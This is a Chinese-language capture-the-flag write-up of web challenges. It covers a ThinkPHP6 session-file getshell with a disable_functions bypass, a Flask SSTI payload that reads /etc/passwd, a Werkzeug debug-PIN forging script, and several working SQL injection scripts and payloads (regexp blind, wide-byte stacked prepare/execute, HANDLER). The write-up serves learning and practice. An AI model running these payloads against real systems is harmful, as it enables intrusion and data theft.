目录
easy_thinking
TP6 的一个漏洞,由于网站给所有未登陆的用户也会发 session,而登陆之后服务器会继续用这个 session_id 对用户进行区分,由于这个过程服务器没有检查 session_id 否合法,且在接下来服务的过程中会把 session_id 当做文件名来存储用户信息,这样就为 getshell 提供了可能性。
由于 tp6 还是会判断 session 长度是否合法,因此在未登录状态下将 session 最后四位修改为 .php,登录后在搜索框直接搜索一句话,再访问 /runtime/session/ 即可看到我们写入的一句话。


用菜刀直接连接,发现 200 无法执行,仔细看一下报错,看起来下一步是要 bypass disable_function,再看看 phpinfo,发现 allow_url_fopen 开着,不可以远程文件包含,但是可以远程下载文件。

用 copy 函数远程下载下 exp,把 exp 的参数改成 /readflag 就可以 getflag。

FLASK APP
网站会输出 base64 decode 出来的内容,搜到了一个 flask 的 ssti payload,发现可以直接用:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
但是直接读 flag 会被 waf 拦截,用字符串拼接一下发现没有 /flag 文件,因此这个题应该是伪造 pin 码,关于 flask 的 pin 码安全,这篇文章讲的十分详细,简单来说,pin 码就是由几个主机的信息 md5 后稍加变化得来的,因此只要确定计算机用户名、modname(默认flask.app)、appname(默认 Flask)、网站绝对路径、主机 mac 地址 、主机 machine id 这几项即可用网上找到的脚本算出pin码:
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',#
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
# str(uuid.getnode()), /sys/class/net/ens33/address /sys/class/net/eth0/address
'2485377957898',
# get_machine_id(), /etc/machin-id /proc/self/cgroup 6afeacdf-afcf-4552-8502-719172374dda
'3c7c60af8484830ab0b1e9615fada4e74d93a8a111baa4afcd949feeab56c320'
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
算出 pin 码开启调试模式即可获得 flag。

不得不说这次比赛注入题是真的多,Day2 上来仨盲注直接人都注傻了,把脚本放上来懒得写wp了。
盲注
不能有等号大于小于等操作符,考虑regexp盲注,直接跑脚本:
# Author : imagin
# blind_exp.py
import requests
import time
import string
url = "http://20a93bf7e9894f8c8a22fd0f2cbf83b515a7622554fc4c2b.changame.ichunqiu.com/"
alpha = string.ctfset
res = ""
s = requests.session()
for index in range(50):
for a in alpha:
payload = "2 or if(substr(fl4g,{},1) regexp \"^{}\",sleep(3),1)".format(f"{index}", a)
data = {"id" : payload}
try:
re1 = requests.get(url, params=data, timeout=3)
except Exception as e:
res += a
print(res)
break
easysqli_copy
宽字节 bypass 引号,没 ban 分号,用 set + prepare + execute 堆叠注入执行 sql,用 concat 拼出sql语句,由于会自动转移,中间还得加一个 char(),最后 or 1=’1 闭合后引号。
# Author : imagin
# Ezsqli_copy.py
import requests
import string
alpha = string.ascii_letters + string.digits + "{}-=_+"
url = ''
res = ''
for i in range(1,50):
for a in alpha:
t1 = 'select if(ascii(substr((select fllllll4g from table1),{},1))={},sleep(10),1)'.format(i,ord(a))
t2 = ''
for k in t1:
t2 += 'char({}),'.format(ord(k))
t3 = "set @t1=concat({});PREPARE t2 FROM @t1;EXECUTE t2;||{}%271{}%27={}%271".format(t2[:-1],"%df","%df","%df")
payload = '?id=1{}%27;{}'.format('%df',t3)
try:
re1 = requests.get(url + payload, timeout=3)
except Exception as e:
res += a
print(res)
break
Black_list
随便注改的题,但是堆叠注入的一套都被 ban 了,show 只能爆出表名列名,最后有师傅提醒用 handler 代替 select,payloads:
1'; show tables#
1'; show columns from FlagHere#
1'; handler FlagHere open; handler FlagHere read first;
还剩下几题的wp没写完 先咕咕咕